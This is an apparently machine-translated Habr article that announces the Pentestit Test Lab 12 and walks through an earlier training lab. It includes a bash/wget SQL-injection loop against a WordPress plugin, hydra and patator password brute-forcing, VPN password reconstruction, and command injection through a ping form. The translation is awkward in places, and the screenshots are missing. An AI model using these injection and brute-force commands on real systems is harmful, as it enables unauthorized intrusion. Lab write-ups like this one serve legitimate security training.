50种色调的代币



明天,莫斯科时间12:00,将启动一个新的渗透测试实验室Test Lab 12,它是真实公司网络的副本,具有其固有的漏洞和配置错误。 该实验室网站已经注册了25,000名参与者,其中包括俄罗斯和国际最大公司的信息安全领域的领先专家。

以下是有关新实验室的组成,搜索和利用漏洞的示例以及培训材料的信息。

实验室的主要重点是现实性:IT结构的设计类似于公司的公司网络,使攻击者的行为更接近于真正的黑客。 充当入侵者的参与者试图利用这些漏洞,如果成功,则可以访问实验室的各个节点,每个节点都包含一个令牌。 获胜者是首先收集所有令牌的参与者,也就是说,实际上已经获得了对虚拟公司网络的完全控制。

每个人,无论技能水平高低,都可以在不违反法律的条件下测试渗透测试技能。

新的实验室将包括一个分布式计算机网络,以几个具有不同渗透复杂性水平的边界的形式呈现。 第一个(外部)边界最容易“突破”,然后进度将变得更加复杂。 在最复杂的部门中,我们放置漏洞,大量参与者难以利用这些漏洞。 这种方法使我们可以立即解决两个问题:

  • 让所有人在保持实验室真实性的同时评估他们在实验室中的技能;
  • 消除在利用某些类型的漏洞或进行攻击时参与者之间相互干扰的情况。



实验室主演的电影中使用:

  • 各种网络服务(邮件,DNS,AD和VPN等),SIEM和DBMS;
  • WebApp和API(PHP,Python,Django,Java);
  • 自行编写的桌面应用程序;
  • 现实主义的其他支持服务。

要通过实验室,您需要:

  • 具有各种网络协议的工作技能;
  • 具有分析来自SIEM系统的数据,配置相关过滤器等的能力;
  • 逆向工程经验;
  • 有发现网络服务和Web应用程序漏洞的经验。

私人实验室渗透测试


我们决定完成过去这个私人实验室的多项任务,该实验室是在今年夏天开发的,旨在帮助新手专家快速获得基本能力。

有关实验室组成(系统,用户等)的所有信息都是虚构的,仅用于创建其逼真的图像。

本文中介绍的渗透测试技术本质上是教育性的。 不要违反法律。

虚拟组织“ UNIONSEC”的整个结构由15台服务器组成,位于网关192.168.102.10的后面,建立VPN连接后即可访问。 参加者的任务是破坏实验室的公司网络。 每个漏洞的运行结果是一个令牌,必须通过lab.pentestit.ru页上的表单进行传输。



实验室遭到了由两个参与者组成的7个小组的攻击,但是没有人能够破坏整个网络。 尽管如此,一些团队还是取得了不错的成绩。



实验室工作需要具备进行渗透测试的各种工具和技能的经验,此外,如果没有开发和逆向工程领域的知识,某些任务是无法完成的。 考虑到参与者完成任务的时间有限,我们认为完成近一半的任务是值得的。



智商


使用nmap实用程序,我们可以获得打开端口的列表:

nmap 192.168.102.10 -sV





公司网站


在“联系我们”部分的地址192.168.102.10处 ,我们看到一个电子邮件地址列表:


根据应用程序的HTML代码,我们可以假定它使用WordPress CMS并包含wp-symposium-15.1插件。

通过www.exploit-db.com,我们确定该插件容易受到SQL注入的攻击。 通过URI 192.168.102.10/wp-content/plugins/wp-symposium-15.1/get_album_item.php?size= “,我们正在尝试使用BASH脚本利用此漏洞:

 #!/bin/bash for ((i=0; i<= 10; i++)) do wget --no-proxy -q -O- "http://192.168.102.10/wp-content/plugins/wp-symposium-15.1/get_album_item.php?size=SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA limit 1 offset $i; --" echo "" done 

我们得到数据库列表:

information_schema
wp_db


利用漏洞之后-令牌:

wget -q -O- 192.168.102.10/wp-content/plugins/wp-symposium-15.1/get_album_item.php?size=* from token; --"





邮寄


我们使用hydra枚举密码:

hydra smtp://192.168.101.10 -s 25 -L /tmp/emails -P /tmp/pass



使用收到的数据,我们授权邮件服务器的WUI并获得令牌:




OpenVPN


连接方式

从网站北http://192.168.102.10:88加载文件“ openvpn.conf”。 扫描服务器后(例如,使用DirBuster实用程序),我们发现.bash_history

-bash: generating new OpenVPN password for user admin: command not found
-bash: generating: command not found
-bash: date +%F: command not found
-bash: echo "admin:`date +%F | md5sum | sed -s 's/ -//'`" > /etc/openvpn/user.pass: command not found
cat /etc/openvpn/user.pass
service openvpn restart
exit


您可以在其中找到用户名以及密码生成算法。 要播放以前创建的密码,请使用文件创建的确切日期:



并根据团队的历史记录进行转换。 生成的密码用于VPN身份验证。

服务器扫描

连接到VPN后,我们将扫描服务器端口:



我们在http://10.255.0.1:8080获得令牌:





终端


扫描后,VPN服务器向我们发送了一些到内部网络的路由,我们发现其中有22个开放端口的主机。 我们尝试以dev帐户登录。 连接到其中一台服务器后,我们发现存在/ home / support目录,并尝试为同名帐户选择密码:

patator ssh_login host=192.168.11.5 user=support password=FILE0 0=usr/share/wordlists/rockyou.txt -x ignore:fgrep='Authentication failed'



取得密码后,我们获得位于主目录中的令牌:



逆向工程


在TERMINAL服务器上,我们设法找到admin.bin ,该操作在请求密码时结束。 使用相反的方法,我们得到密码fv34cm3cm ,这是一个令牌。 当您输入时,我们会得到SSH PRIVATE KEY

通过私钥,我们在服务器192.168.11.2上进行身份验证,在该服务器上的/opt/ dump.pcap找到dump.pcap文件。 我们从文件中分析网络流量转储,并提取令牌以及Web服务器192.168.11.3上BASIC授权的密码:

tcpdump -r /tmp/dump.pcap -A | grep token





API


192.168.11.3 ,可以从管理员的PC访问该API。 使用端口转换(例如,通过SSH),我们开始研究它。

利用API中发现的漏洞后,我们将获得一个令牌,该令牌是admin用户密码的一部分:



Web应用程序可从http://172.16.0.4 ,该应用程序正在开发中。 从readme.html文件中,我们获得了已开发页面的列表:



当打开http://172.16.0.4/availability.php ,出现错误。 我们尝试使用REFERRER http://172.16.0.4/index.html参数REFERRER http://172.16.0.4/index.html重复执行此操作,然后使用带有ping按钮的表单:



在确保输入字段没有过滤之后,我们得到令牌:


我们通过SSH连接到服务器172.16.0.1 。 授权后,脚本会要求我们提供PIN码(5位数字):



使用自写的密码猜测脚本,我们可以完全访问控制台,并在用户文件夹中找到带有令牌的文件:




回到未来


为了快速适应新的第12个实验室,我们准备了简短的材料和工具清单:


“测试实验室12”中与您相见 ,让最强者获胜!

Source: https://habr.com/ru/post/zh-CN432940/


All Articles